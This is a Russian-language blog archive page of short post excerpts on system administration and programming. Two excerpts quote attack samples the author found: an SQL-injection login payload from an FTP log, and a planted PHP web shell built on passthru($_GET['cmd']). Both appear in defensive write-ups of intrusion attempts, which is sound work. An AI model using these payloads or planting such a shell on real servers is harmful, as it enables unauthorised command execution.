Архив рубрики: программирование

Философские и не очень беседы с Алисой

Голосовой помощник Алиса оказалась весьма интересной собеседницей. Алиса встроена в приложение Яндекс:
Алиса

Для активации помощника после запуска приложения Яндекс необходимо сказать «Привет, Алиса» .
Вот некоторые из моих диалогов с ней (Алиса непостоянна 🙂 и ответы могут отличаться при повторных вопросах):

о смысле жизни

Алиса Яндекс
Читать далее

Как создать туннель в Интернет для своего домашнего компьютера

Часто оказывается необходимым дать доступ из Интернета к каким-либо портам своего компьютера, расположенного за NAT провайдера. Но популярный ранее сервис ngrok стал IMHO фактически непригоден в бесплатной версии. Как же быть? Сделаем свой ngrok, разместив его на своей же VPS-ке (да, Ваш сервер в Интернете необходим, без него никак). Опишу, как это вышло у меня.

Читать далее

Как обезопасить свой компьютер от вируса-шифровальщика Wana decrypt0r 2.0 (WannaCry)

12 мая 2017 года началась глобальная атака на компьютеры под управлением операционной системы Microsoft Windows. При этом используется уязвимость EternalBlue MS17-010 в сетевом протоколе SMBv1. В случае успешного проникновения на компьютер пользователя вирус WannaCry шифрует файлы на компьютере и вымогает биткойны ($300 в эквиваленте) (командные центры вируса расположены в сети  Tor).
Для предотвращения проникновения вируса-вымогателя (ransomware) на свой компьютер Вы может отключить сетевой протокол SMBv1 командой (вводится в командной строке):

dism /online /norestart /disable-feature /featurename:SMB1Protocol

Результаты выполнения команды:

Voilà 🙂

Тонкая настройка HTTPS на Apache — Forward Secrecy , RC4 , SSL 3 и все-все-все

Всеобщая мода на HTTPS захватила таки и меня. Я перевел свои сайты на https:// (посредством бесплатного сертификата от Let’s Encrypt) и решил оценить их качество, проверив с помощью бесплатного сервиса SSL Server Test https://www.ssllabs.com/ssltest/

Я ввел адрес acdc.foxylab.com (Hostname), нажал кнопку «Submit«, подождал несколько минут и результат …… меня немного удивил:
Моему сайту была выставлена невысокая оценка C (при том, что высшая оценка — A+).
Разберемся, как же улучшить оценку на примере моего сервера Apache под управлением операционной системы Ubuntu.
Читать далее

Мелкие пакостники или как пытаются взломать мой FTP-сервер :-)

На своей VPS-ке я использую надежный и легко настраиваемый FTP-сервер ProFTPD

Этот же сервер использует, например, такой известный сайт как SourceForge.
Журнал этого сервера располагается в стандартном месте:
/var/log/proftpd/proftpd.log
Просмотр этого журнала очень увлекателен. Откуда только и какими только способами не щемятся любители подсмотреть чужие секреты или совершить какую-нибудь пакость:

некто из Ярославля пытается зайти под логином admin :
FTP session opened.
… (pppoe-94.136.198.158.ttel.ru[94.136.198.158]): USER admin: no such user found …
FTP session closed.
более изобретательный негодяй из Витебска пытается залогиниться как Alex :
FTP session opened.
… (mm-127-139-212-37.vitebsk.dynamic.pppoe.byfly.by[37.212.139.127]): USER Alex: no such user found …
FTP session closed.
а вот и знаток SQL (из самого Palo Alto, USA):

пытается эксплуатировать уязвимость 2003 года 🙂 CVE-2003-0500 «ProFTPd 1.2.9RC1 — ‘mod_sql’ SQL Injection»
FTP session opened.
… (15.211.195.254[15.211.195.254]): USER ‘)UNION SELECT’u’,’p’,1002,1002,’/tmp’,’/bin/bash’WHERE(»=’: no such user found …
FTP session closed.

Как же пресечь эти поползновения?
Читать далее

Как победить OOM Killer?

На Linux-системах с небольшим объемом физической оперативной памяти (например, на VPS-ках) часто  можно заметить, что какой-либо процесс внезапно прекращает работу. В чем же дело? Оказывается, он «убит», а виновник — злобный OOM Killer !

OOM Killer представляет собой компонент ядра Linux, защитный механизм, призванный решать проблемы с нехваткой физической памяти (OOM — Out of memory). При обнаружении недостатка памяти OOM Killer «убивает» наименее важный по его мнению процесс, посылая ему сигнал KILL (исключения составляют лишь init и ядерные нити (kernel threads)). Сообщение о об этом появляется в журнале /var/log/syslog в виде:

Out of memory: Kill process **** (****) score **** or sacrifice child
Killed process **** (****)

Но мнение пользователя системы не всегда совпадает с мнением «киллера» 🙂 Как же быть? Как заставить OOM Killer не трогать дорогие нашему сердцу процессы?
Читать далее

Как воруют пароли от PayPal

Социальная инженерия — сильная штука, и ее злонамеренное использование может привести к утрате Вами пароля от Вашего аккаунта PayPal. В один прекрасный день (утром 18 октября 2015 года) я получил такое письмо:
воровство аккаунта PayPal

Читать далее

Попытка взлома моего сервера через уязвимость CVE: 2015-3306 в ProFTPD

В один прекрасный день я обнаружил в корневой директории одного из моих сайтов файл со странным именем d.php:
d.php

Помня, что такой файл я не создавал, я решил посмотреть его содержимое:
d.php
passthru($_GET['cmd']);echo 'm3rg3'; — очень занятно.
Код passthru($_GET['cmd']); позволяет выполнять команды с привилегиями сервера, cmd — имя переменной, в которой передается методом GET выполняемый код

213.92.207.124 — IP-адрес из диапазона польского провайдера Polprint.

Посмотрим в логи сервера ProFTPD, упомянутого в этом файле, и поищем что же там есть за этот айпишник 🙂 :

Читать далее

Как узнать, какое приложение занимает какой-либо порт?

Часто бывает такая ситуация, что какой-либо порт (80, 8080 и т.п.) занят неизвестным приложением. Чтобы освободить порт, надо снять эту задачу. Но как узнать, какой именно процесс необходимо завершить?

Разберемся по шагам, как же решить эту проблему на примере занятого порта 8080.
как узнать процесс, занимающий порт

Читать далее

Android Studio, Huawei и logcat

Я расскажу о том, как мне удалось добиться работы logcat в связке Android Studio + Huawei при отладке через USB — это мне потребовалось для отладки капризного приложения. Если Вам это интересно, читайте и смотрите далее.
Читать далее